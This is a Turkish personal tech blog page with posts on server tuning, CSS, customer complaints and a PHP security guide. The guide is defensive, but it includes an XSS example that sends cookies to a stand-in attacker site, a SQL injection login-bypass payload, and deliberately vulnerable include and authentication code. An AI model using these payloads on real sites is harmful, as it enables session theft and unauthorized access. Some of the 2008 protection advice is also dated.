Facebook’a reklam ver-e-me-mek
Yazar admin | Aralık 11, 2009
Bir süredir, facebook’un elindeki büyük güçten ancak bu gücü henüz gelire çevirememiş olmasından bahsedildiğini okuyoruz. Facebook gelir elde edebilmek için uygun modeli araştıradursun, Google ile birlikte hayatıma giren click bazlı reklam verme modeli, Facebook’ta hali hazırda uygulanan bir gelir modeli.
Facebook ne kadar gelir elde ediyor bilmiyorum, ama benden 100$ kazanamadığını, bunun sebebinin yazılımın sürekli “Hata kodu” vermesinden kaynaklandığını söyleyebilirim Örneğin, reklam yayınlama süresi seçmek istiyorum radio butonuna tıkladıgınızda, tarih seçme opsiyonu gelmiyor.
Yaklaşık 30 dakikalık facebook’a reklam verme denememin sonunda reklamı oluşturmayı başardım, ama ödeme ekranında da bir üzgünüm işleminizi gerçekleştiremiyoruz mesajı görünce anladım ki ben facebook reklamı veremiyorum.
Facebook gibi büyük bir site, Türkiye’den para kazanmak istiyorsa bence en başta kredi kartı tahsilatı sayfalarının hata vermemesini sağlaması gerekiyor, zira kullanıcıyı en çok ürkiten şey kredi kartı bilgisi girdikten sonra bir hata mesajı ile karşılaşmak.
Düşünsenize, hata verdi ama parayı çekti mi kaygısı hepimizin içine bir kurt düşürmez mi?
Kategori: Genel | Yorum yok »
Apache performansını arttıma (alternatif yöntem)
Yazar admin | Ekim 22, 2009
Apache, Mysql ve PHP koşan bir sunucuda, performans anlamında iyileştirmeler yapmanız gerektiğinde -genelde- bakmanız gereken ilk yer Mysql olacaktır, bügüne kadar yazdığım kodlarda, çalışmalarda her zaman ilk önce Mysql tarafında bir ağırlık aluşmaya başlamıştır.
Bu yazımda Mysql optimizasyonundan bahsetmeyeceğim ancak genel anlamda, Mysql’i ayrı bir sunucu üzerinden standalona olarak çalıştırmak ciddi bir performans kazanmanızı sağlıyor. Ayrıca Mysql için sunucu optimizasyonu, SQL ve index optimizasoyonu ile çok ciddi farklar yaratmanız mümkün.
Ancak bu yazımda, Mysql sorunları olmayan ve Apache tarafından ciddi bir yük olşuturan sistemler açısından Apache’nin yükünü azaltmak için alternatif bir yöntem önereceğim.
Statik içerikleri Apache üzerinden alarak, Apache’nin asıl işi olan PHP ile daha rahat sayfalar üretmesini sağlayabilirsiniz. Yani JPEG resim dosyaları, içerisinde PHP kodları barındırmaya HTML dosyaları gibi statik dosyaları Apache yerine alternatif bir web server ile yayınlayabilirsiniz.
Ben bu tür bir çalışma için Lighttpd öneriyorum. Statik tüm içerikleri (sabit resim dosyaları, upload edilen resim dosyaları gibi) lighttpd’ye taşıdığınızda Apache bu servis için daha fazla işlem gücü harcamyacaktır. Lighttpd ise, Apache’ye göre çok daha efektif ve hızlı şekilde static içeriği yayınlayacaktır.
Sistemler büyüdükçe farklı optimizasyon çalışmaları yapmak gerekiyor. Kişisel görüşüm.
Önce Mysql optimizasyon ve Mysql’in LAMP kurulumundan ayrılması, ardından static içeriklerin Lihhttpd ile Apache’den ayrılması yönünde olur. Bu şekilde, güçlü bir donanımla çok kolay yol katedebilirsiniz.
Kategori: LINUX | Yorum yok »
Avea Bugün Hattımı Kapattı, 150TL istiyor.
Yazar admin | Ağustos 24, 2009
Özetlemek istiyorum.
11.08.2009 da hatlarımızdan birine bir SMS geldi. Hattınız Her Yöne Özgürlük(eski Sınırsız) tarifesinden Her Yöne 1000 tarifesine taınmıştır.
İzinsiz neden açıklamadan hatlarımızdan biri Her Yöne 1000 tarifesine taşındı, 4 ay kadar önce 70TL tarife değişimücreti ödememe rağmen.
Bugün, 24.08.2009 da aynı hat dış aramalara kpatıldı. 2 saatlik! uğraş sonunda Avea’ya ulaştım, 150TL ödemezsem hat açılmicakmış.
Bu hizmet anlayışını ben anlamıyorum sanırım.
Avea Sınırsız Hatları Keyfi Olarak Kapatıyor.
Yazar admin | Ağustos 14, 2009
7 Ağustos itibari ile şirketimize kayıtlı Avea sınırsız hatlardan 1 tanesi, Avea Heryöne1000 tarifesine, bilgimiz ve iznimiz olmadan değiştirildi.
Hattımız şirket hattı, yalnızca telefon aramaları yaptığımız hattımızla ayda en fazla 4000dk görüşme yapıyorduk.
Avea.com.tr sitesinde FCT cihazında kullanılmadığı, 10.000dk geçişmediği, ve iletişim ihtiyacını karşılamak dışında herhangi bir nedenle kullanılmadığığı sürece 10.000dk konuşabileceğimiz yazıyor.
Yukarıdaki hiç bir maddeyi ihlal etmemesine rağmen hattımızın Avea Heryöne1000 tarifesine geçirilmesi haksız bir uygulama olup, var olan sözleşmemize de aykırı görünüyor.
Bu konuda Avea’a ya bilgilendirildiğimi isteyen bir email gönderdim ve yanıtını bekliyorum. Yanıt gelir gelmez bu yazımı mutlaka güncelleyeceğim.
Güncelleme: Konu ile ilgili bazı linkler
http://www.tuketiciler.org/?com=news.read&ID=2842
http://www.boykotediyorum.tk/index.php
Kategori: Genel | Yorum yok »
Internet Explorer’da Radio Button margin’i sıfırlama
Yazar admin | Temmuz 11, 2009
Internet Explorer 6 ve 7′de radio button’ların style’ına margin:0px yazsak dahi, ne yazık ki radio button’un kendine ait bir margin’i kalıyor. Bu margin hizalama konusunda sürekli problem oluşturuyor.
Hem Firefox’da hem de Internet Explorer 6 ve 7′de sağlıklı ve aynı şekilde radio button gostermek için radio adında bir css sınıfı hazırladım. Bu sınıf her 2 browserda da aynı radio button bullanımını saglıyor.
.radio {
vertical-align: middle;
margin: 0;
padding-left:0;
margin-left:0;
width:15px;
}
Kategori: HTML - CSS | Yorum yok »
Hızlı Al Problem. Asus EEE PC 1000H Arızalı, hizlial.com ilgisiz
Yazar admin | Haziran 23, 2009
Bugün (23.06.2009) itibari ile hizlial.com dan sipaiş ettiğim Asus EEPC 1000H model netbook’um elime ulaştı. Kargo firmasından olması gerektiği gibi teslim aldım. Ürünümü büyük bir hevesle açtım ve windows aktivasyona başladım. Aktive esnasında urun mavi ekran vererek kapandı ve daha sonrasında siyah bir ekranda takıldı kaldı. Eş zamanlı olarak hardiskinden tıkırtılar geldiğini fark ettim.
Evet, ürünüm azıralı çıkmıştı. Olsun iade ederim yenisi gelir diye düşünürken, hızlıal’ın telefon numarlarına ulaşamadım. Mail attım yanıt alamadım. 6-7 deneme sonra telefonla ulaştığım hızlıal.com msuteri temsilcisi beni Asus’a yonlendirdi. Oradan tamir ya da değişim isteyecekmişim. Ya da Asus’tan arızalı raporu alıp hizlial.com’a bilgi verecekmişim ve değişim öyle olacakmış. Kargo ile Asus’tan rapor alma sureci telefondan en az 5 gun surer dendi. Kargo suresi dahil 7 gun. Hafta sonlarını da eklersek 10 gunu bulabilir. Bu sekilde rapor ile hızlıal.com’a basvurma 11. gunu bulur. SOnuc 11 gun netbboksuz yasam, belki de hızlıal’ın 7 gunu gectigi icin reddi!
Dusunun bir internet magazası acıyorsunuz ve arızalı bir urun sattıgınızda urun sahibini en az 11 gun madur ediyorsunuz. Belki daha da fazla.
Urunu Asus’a değiştirin dersem 30 iş günü sürermiş neredeyse 1,5 ay demek bu!
Şaka gibi
Hızlı al ‘dan bir daha urun almak mı? Asla!
Biz e-ticareti bu mantıkla yapmaya devam edersek sonu pek olumlu gorunmuyor. Bu tur sorunları yasayan kişiler sizce 2. kez sansını dener mi? Ben pek sanmıyorum.
Bundan sonra alışverişimi, vatan, mediamarkt, teknosa, electroworld’den yapıcam. Bir internet girişimcis olarak şok içerisindeyim.
Kategori: Genel | Yorum yok »
Karel mi? Bence evet, MS38 Metal Kasa Kullanım Kılavuzu
Yazar admin | Haziran 4, 2009
Bugün, 6 dahili, 2 harici hat bağlayabildiğim emektar Panasonic santralimi, yine oldukça eski olan (aile yadigarı 10-15 senelik) Karel MS38 santralim ile değiştirmeye karar verdim. Amacım dahili ve harici hat sayılarını arttırabilmek, santrale bağlayamadığım diğer hatlarımızı da bağlayıp ofis içerisinde oluşan -gereksiz- koşuşturmaları engellemek.
MS38 santralimi depodan çıkardım, herkesin başına gelebilecek bir durum olarak bu kadar eski bir ürünün kullanım kılavuzunu bulamadım. İnternette biraz araştırdım ama eski metal kasa olanların kullanım kılavuzu hiçbir yerde yok.
Şansımı denemek üzere Karel müşteri destek hattını aradım. Teknik servisle, ardından bana yardımcı olabileceği söylenen Esra hanım ile (sanırım müşteri destek bölümünden) toplamda 2dakikayı geçmeyecek bir konuşma yaptım. Elimde eski metal masa MS38 santralim olduğunu ama kullanma kılavuzu olmadığı için kullanamadığım belirttim. Bu kılavuzu nasıl temin edebileceğimi sordum. Aldığım yanıt ilginç bir şekilde beklentilerimin çok daha üzerinde oldu, e-posta adresinizi verin biz bulup göndermeye çalışalım.” Beklentilerimin düşük olmasının nedeni, canım ülkemde bir çok şeyin olması gerektiği gibi olmadığını düşünmemden ibaret.
Sonuç olarak, telefon konumasının bitimini takip eden 5 dakika içerisinde bir e-posta aldım ve artık kullanım kılavuzum elimde. Şunu da belirtmeliyim ki, sadece e-posta adresim değil, Karel tarafından bilgilendirilebilmek adına telefon numaram da alındı.
Bu yazımı yazma sebebim, Karel firmasını neredeyse hiç tanımayan ben, Türkiye şartlarında beklentimin çok daha üzerinden bir müşteri desteği buldum. 15 sene geçmiş dahi olsa, müşteri müşteridir, bu hissi çok sevdim.
Emektar Karel Ms38 santral, bekleme koşulları itibariyle hala işimi görür mü bilmiyorum ama yeni bir santral alıcak olsam bugün yine Karel’i tercih ederim.
Kategori: Genel | Yorum yok »
eAccelerator ile Performans Arttırma / Dramatik Etki
Yazar admin | Aralık 20, 2008
Dün itibariyle OpenX kurulu reklam sunucumuza eAccelerator kurulumu gerçekleştirdim, yaklaşık 6 aydır Apache2 + PHP 5 ile çalışan reklam sunucumuz 0.50-0.90 arasında CPU yükü gösterirken, eAccelerator kurulumu ile 0.10-0.20 seviyelerine sabitlendi. eAccelerator’ın performans üzerine olumlu etkisini kendi scriptimiz içerinde de test etmek üzere önümüzdeki günlerde daha yoğun çalışan başka bir makinamıza daha kuracağım. Sonuçları burada paylaşıyor olucam.
Saygılar
OKAN
Kategori: LINUX, PHP | Yorum yok »
eAccelerator ve Zend Kurulumu, Zend Problemine Çözüm
Yazar admin | Aralık 19, 2008
eAccelerator’un ne olduğunu anlatmadan konuya biraz hakim kişilerin Zend ve eAccelerator kurulumu yaparken karşılaştıkları Zend’in çalışmaması konusu ile ilgili bir ipucu paylaşacağım.
İnternetteki bir çok dökümanda anlatılan yöntem ile kurulum yapıldığında ya apache hiç start etmiyor ya da Zend calışmıyor, burda ufak bir nokta atlanmış durumda.
O da şu ki, php.ini (doğru php.ini için phpinfo(); çıktısını inceleyiniz) dosyasının içindeki sıralamanın eAccelerator ve Zend’in birlikte çalışmasındaki önemi.
Size doğru sıralamayı yazıyorum.
[Zend]
zend_extension=”/bu/dizin/eaccelerator/make/install/yapildiginda/belirleniyor/eaccelerator.so”
zend_extension_manager.optimizer=/usr/local/Zend/lib/Optimizer-3.3.0
zend_extension_manager.optimizer_ts=/usr/local/Zend/lib/Optimizer_TS-3.3.0
zend_optimizer.version=3.3.0a
zend_extension=/usr/local/Zend/lib/ZendExtensionManager.so
zend_extension_ts=/usr/local/Zend/lib/ZendExtensionManager_TS.so
eaccelerator.shm_size=”16″
eaccelerator.cache_dir=”/var/cache/eaccelerator”
eaccelerator.enable=”1″
eaccelerator.optimizer=”1″
eaccelerator.check_mtime=”1″
eaccelerator.debug=”0″
eaccelerator.filter=”"
eaccelerator.shm_max=”0″
eaccelerator.shm_ttl=”0″
eaccelerator.shm_prune_period=”0″
eaccelerator.shm_only=”0″
eaccelerator.compress=”1″
eaccelerator.compress_level=”9″
Dikkat edilmesi gereken 2 husus: zend_extension=”/bu/dizin/eaccelerator/make/install/yapildiginda/belirleniyor/eaccelerator.so”
satırındaki dizin eaccelerator make install edildikten sonra veriliyor, eğer kaçırdı iseniz
find / -name “eaccelerator.so”
komutu ile yerini bulabilirsiniz.
zend_extension dizinini yazmak ve bu satırın [Zend] grubunun en üstünde olması dikkat edilmesi gereken 2 önemli nokta bence. Bu tür bir bilgiyi hiç bir Türkçe belgede bulamadım.
Dikkatinizi çekerim.
zend_extension=
ile başlayan 2 tanımlama var ve eacccelerator.so ‘nun bulunduğu satır ilk sırada, orijinal Zend satırı ise daha aşağıda.
Saygılar
OKAN
Kategori: LINUX, PHP | Yorum yok »
PHP Güvenlik Kılavuzu
Yazar admin | Mayıs 29, 2008
Giriş
PHP, bir çok yazılım dilinden farklı olarak, buffer-overflows gibi hafıza problemleri olan, bundan dolayı güvenlik problemine neden olabilecek bir dil değildir. Aynı zamanda PHP öğrenilmesi kolay ve hızlı bir dildir. Bu kolay ve hızlı öğrenilebilirlik, bu dili bir çok kişinin öğrenmesine, aynı hızda üretim yaparak uygulama geliştirmesine de olanak sağlamaktadır. Ancak bu durum, bilinsizce yapılan kodlama teknikleri nedeniyle kendi içerisince ciddi bir güvenlik problemini yanında getirmektedir.
Bu klavuz size, online güvenlik, web tabanlı yazılım geliştirirken PHP’de temel güvenliği nasıl sağlayacağınız konusunda fikir vermek için hazırlanmıştır. Klavuz içerisinde başlangıç seviyesi kullanıcılar için önemli bilgiler, uzmanlar için belki de gözden kaçan ufak ipuçları bulunabilir.
Atak Tipleri:
XSS Atağı:
XSS “Cross Site Scriptting” anlamında kullanılmaktadır ve bir sayfaya içerik girmek -JavaScript gibi- gibi düşünebiliriz. XSS atakları genelde kullanıcının Cookie (çerez) lerini çalmak amacıyla kullanılır. Bu cookie’ler kullanıcı login bilgileri, sişreleri ya da benzeri önemli bilgileri içeriyor olabilir.
Basit anlamda bir örnek verelim.
$id=$_GET[’id’];
echo “Gelen ID degeri:”.$id;
Yukarıdaki kodda, $_GET[’id’] degiskeni bir sayı ise problem yok. Ancak ya aşağıdaki gibi bir kodsa?
<script>
window.location.href = “http://kotuamaclisite.com/cookie-calanscript.php?c=’ + document.cookie;
</script>
Kullanıcı bir sekilde, bu kotu amaçlı kodu çalıştırırsa, tüm cookie bilgilerini kotü amaçlı siteye devredebilir.
XSS Ataklarından Nasıl Korunurum?
İlk olarak, asla kullanıcı girişi bilgilerine güvenmeyiniz. Kullanıcılardan girilen her bilgiyi mutlaka kontrol edip filtrelememiz gerekiyor. Yani gelen kullanıcı bilgilerini HTML tag’lerinden arındırırsak bir JavaScript kodu çalıştırılamak hale getirebiliriz. Bunu yapmanın en kolay yolu PHP’nin strip_tags() fonksiyonunu kullanmaktır. Bu fonksiyon tüm HTML tag’lerini temizleyecektir. HTML tag’lerini silmemek ama onları zararsız hale getirmk için htmlentities() fonksiyonunu da kullananilirsiniz. Bu fonksiyon, < ve > karakterlerini < ve >karakterlerine dönüştürecektir.
SQL Injection Yönetemi:
Günümüzde bir çok web sitesi verileri barındırmak için veritabanı kullanmaktadır. Bu bağlamda veritabanına girmek için bir çok INSERT, UPDATE ve SELECT işlemleri yapılmaktadır. Buna rağmen bir çok site, form verileri açısında SQL Injection yöntemi ile atağa uğramak konusunda yeterli güvenliğe sahip değildir.
SQL Injection, değiştirilmiş, atak için düzenlenmiş form içerikleri ile yapılan veritabanı sorgularıdır. Bu ataklar veritabanınızdan bir kaç veriyi çalmak, izinsiz login olmak, ya da tüm veritabanını silmek gibi sonuçları doğurabilir.
En genel kullanımı anlatmak için aşağıdaki kod örneğine bakalım:
site_users
WHERE
username = ‘$username’
AND
password = ‘$password’
“);
if ( mysql_num_rows($result) > 0 )
// login oldu
Yukarıdaki kod örneği, SQL Injection için gerekli ortamı hazırlamaktadır, bu konuda zaafiyet oluştrabilecek bir kod örneğidir. Kötü amaçlı bir kişi yukarıdaki SQL’i değiştirerek sisteme izinsiz giriş yapabilir. (Kullanıcı şifresini girmeden login olabilir)
Örneğin kötü kullanıcı (saldırgan) kullanıcı adı alanına “rob” şifre (password) alanına aşağıdaki gibi bir giriş yaparsa:
‘ OR 1=1 ‘
Yukarıdaki kod şu şekli alır:
SELECT *
FROM
site_users
WHERE
username = ‘rob’
AND
password = ” OR 1=1
Bu SQL sorgusu ise, kullanıcı adı “rob” olan kaydın şifresi ne olursa olsun getirmektedir. Yani şifre kontrolu gerçekleşememiştir.
SQL Injection Atağından Nasıl Korunurum?
XSS Atağında olduğu gibi, en büyük sorun kullanıcının gönderdiği veriyi olduğu gibi kullanmaktır. Korunmanın en iyi yöntemi ise, kullancıı verisini riskli karakterlerden arındırmaktır. mysql_real_escape_string() fonksiyonu bu amaçla PHP içerisinde yer alıyor. Bu fonksiyon riskli olan ‘ ve ” gibi karakterleri temizlemektedir. Ayrıca, SQL sorgularınızda kullandığınız kullancıı verileri, eğer, sayı olmanı bekleniyorsa intval() fonksiyonu ile gelen verinin sadece sayı bilgisi olan kısmı alınmalıdır.
Dosya Yüklemesi Atağı (File Upload)
Kullancıların yükledikleri dosyalar en büyük güvenlik risk unsurlarının başında gelmektedir. Bu, tanımadığınzı bilmediğiniz dosyaları sunucunuzda barındırmak anlamındadır. Bu dosyalar, dosyalarınız silmek için, veri tabanınızı boşaltmak için olabilir. Ya da daha başka bir çok güvenlik problemine neden açabilecek dosyalar olabilir.
Buna rağmen, güvenli şekilde dosya almak kontrol içerisinde alındığında mümkündür.
Kullanıcıların sisteminize dosya yüklemesine izin verdiğiniz durumlarda, kontrol etmeniz gereken 2 önemli bilgi mevcuttur.
Birincisi, dosyanın “mime-type” ıdır. Yani, dosyanın header’ında bulunan ve dosya tipini belirten bölüm. Örneğin kullanıcının sadece resim dosyası upload etmesini istiyorsanız yüklenen dosyanın “mime-type” ı image/png, image/jpeg, image/gif, image/x-png ya da image/p-jpeg olmalıdır. Aşağıdaki kod bu kontrolü gerçekleştirir.
$validMimes = array(
‘image/png’,
‘image/x-png’,
‘image/gif’,
‘image/jpeg’,
‘image/pjpeg’
);
$image = $_FILES[’image’];
if(!in_array($image[’type’], $validMimes)) {
die(’Üzgünüm, izin verilmeyen dosya tipi.’);
}
// İşlem tamam yüklemeyi gerçekletir vs vs.
İkinci kontrol etmeniz gereken bilgi ise, dosyanın uzantısıdır. Zira, mime-type bilgisi manuple edilebilir bir bilgidir. Bu bağlamda dosyanın uzantısını kontrol etmeniz gerekir. Zira bir kullanıcı, bir imaj dosyasının mime-type ı ile bir PHP dosyası gönderebilir. Bu durumda siz bir PJP dosyasını sisteminize almış olursunuz ki bu çok ciddi bir risk faktörüdür.
Bu durumdan korunmak için, sisteminize yüklediğiniz dosyaların uzantıları, siz tanımlamalısınız. Bu tanımlamayı ise mime-type bilgise göre yapabilirsiniz. Aşağıdaki örneğe bakalım:
$validMimes = array(
‘image/png’ => ‘.png’,
‘image/x-png’ => ‘.png’,
‘image/gif’ => ‘.gif’,
‘image/jpeg’ => ‘.jpg’,
‘image/pjpeg’ => ‘.jpg’
);
$image = $_FILES[’image’];
if(!array_key_exists($image[’type’], $validMimes)) {
die(’Üzgünüm, izin verilmeyen dosya tipi.’);
}
// Dosya uzantısını barındırmayan dosya adını alalım:
$filename = substr($image[’name’], 0, strrpos($image[’name’], ‘.’));
// Mime type göre dogru uzantıyı verelim
$filename .= $validMimes[$image[’type’]];
// İşlem tamam
Yukarıdaki örnekle, bir PHP dosyanının sanki bir resim dosyasıymış gibi sisteminize PHP dosyası olarak yüklenmesini engellediniz. Dosya mime-type’ı PNG’yi işaret ediyorsa, dosya uzantısı .png olacaktır.
Dosya Include Atağı:
Kullanımı çok yaygın olan index.php?sayfa=xxxx.php şeklideki dosya include yöntemi çok ciddi risk taşıyabilir. Bu kullanım genelde, menü yapısı, logo gibi bölümleri index.php ye kaydedip içerik bölümünü başka dosyalarda saklayarak site yönetimini kolaylaştırmak için kullanılır. Bu durumdaki yanlışlık,
include $_GET[’sayfa’];
gibi bir kod ile gelen değişkene göre sayfayı include etmektendir.
Yukaridaki kullanımda PHP’nin allow_url_fopen ayarı ON durumda ise, yani aktifse, saldırgan başka bir sunucudaki dosyayı sitenize include edebiliyor demektir. Kodunuz da echo file_get_contents() değil de include kullanıdığı için bu çok sık karşılaşılan bir açığa sebebiyet vermektedir. Bu durum, sunucunuzun tüm kontrolünü saldırgana bırakmak demektir.
Bu durumdan yapabileceğiniz 2 şey vardır.
Birincisi, bir liste oluşturup gelen değişkeni burada kontrol etmektir. Örneğin şöyle bir kod ile:
switch($_GET[’sayfa’]) {
case “hakkimizda”:
include(’hakkimizda.php’);
break;
case “haberler”:
include(’haberler.php’);
break;
default:
include(’anasayfa.php’);
}
Bu kod ile include edebileceğiniz her sayfayı belirtiyor ve belirtmediğiniz sayfa için anasayfa.php dosyasını include ediyorsunuz. Bu yöntemin zor tarafı, ekleyeceğiniz her sayfayı bu listeye de eklemek zorunluluğudur.
İkinci bir yöntem ise, dışarodan gelen $_GET[’sayfa’] değişkenini kontrol etmek ve temizlemektir.
$sayfa = preg_replace(’/\W/si’, ”, $_GET[’sayfa’]);
include(’./’.$sayfa.’.php’);
Yukarıdaki kod, “..”, “/” gibi karakterleri temizleyerek kullanıcının 212.111.111.111 gibi ip ya da http://www.kotusite.com gibi domain belirtmesini engeller. Bu verileri 212111111111, httpwwwkotusitecom şekline çevirir.
Dosya include atağındaki diğer bir açık ise, include edilen dosyaların uzantılarını .inc gibi sunucunun tanımayacağı bir uzantı yapmaktır. Örneğin, config.inc gibi bir dosya yapıp bunu include etmek çok sakıncalı olabilir. Zira, saldırgan bu dosyanın adını ve yerini öğrendiğinde, eğer web suncuunuz bu dosyayı çalıştırabilir bir dosya olarak tanımıyorsa (ki tanımama ihtimali yüksektir), saldırdan dosya içeriğini görecektir. Bu durumda yapabileceğiniz, her türlü dosya uzantınızı .php yapmaktır. Boylece saldırgan bu dosyaların içeriğini görüntüleyemez. Diğer bir yöntem ise Apache sunucular için, aşağıdaki gibi bir .htaccess dosyası olusturarak .inc dosyalarının ulaşılmasını engelleyebilirsiniz.
<files ~ “\.inc$”>
Order allow,deny
Deny from all
</files>
Register Globals Atağı:
register_globals değeri PHP ayarında ON durumda ise, $_POST, $_GET, $_SERVER, $_COOKIE, $_REQUEST, $_FILE ile gelen değişkenlere global değişkenler olarak ulaşabilirsiniz. Yani mesela $_POST[’mesaj’] değişkenine $mesaj olarak ulaşabilirsiniz.
register_globals değeri güncel PHP kurulumlarında varsayılan olarak OFF durumdadır. Ancak eski bir PHP kurulumu bulunan sunucuda, ya da sistem yönetici tarafından özellikle açılmış bir sunucuda ON durumunda olabilir (ki paylaşımlı hosting firmaları geçmiş müşterilerinin kodlarının uyumu adına açabiliyorlar).
register_globals’in ON olamsı durumu için aşağıdaki kodu inceleyelim.
dosya.php dosyası örneği:
if($_POST[’username’] == ‘rob’ && $_POST[’password’] == ‘foo’) {
$authenticated = true;
}
if($authenticated) {
// giriş başarılı bişeyler yapalım
}
Saldırgan, dosya.php?authenticated=true şeklinde bir URL çağrımı ile, sisteme izinsiz giriş yapabilir.
Bu durumda ne yapacağız, register_globals değerini OFF yapamayabileceğimiz durumların her zaman gerçekleşebileceğini düşünerek, kodumuzu şu şekilde değiştirelim.
$authenticated = false;
if($_POST[’username’] == ‘rob’ && $_POST[’password’] == ‘foo’) {
$authenticated = true;
}
if($authenticated) {
// giriş başarılı bişeyler yapalım
}
Bu kod, $authenticated değişkenini sayfa başında false yapmaktadır. $_POST’tan gelen veri eğer uygunsa $authenticated true yapılır. Böylece, dışarıdan gönderilen değişken ile izinsiz giriş yaplıması engellenmiş olur.
Editor: OKAN ARI
Not: Klavuzun devamını yazacağım. okanari MALUM ISARET gmail NOKTA C O M ya yazabilirsiniz.
Kategori: PHP | Yorum yok »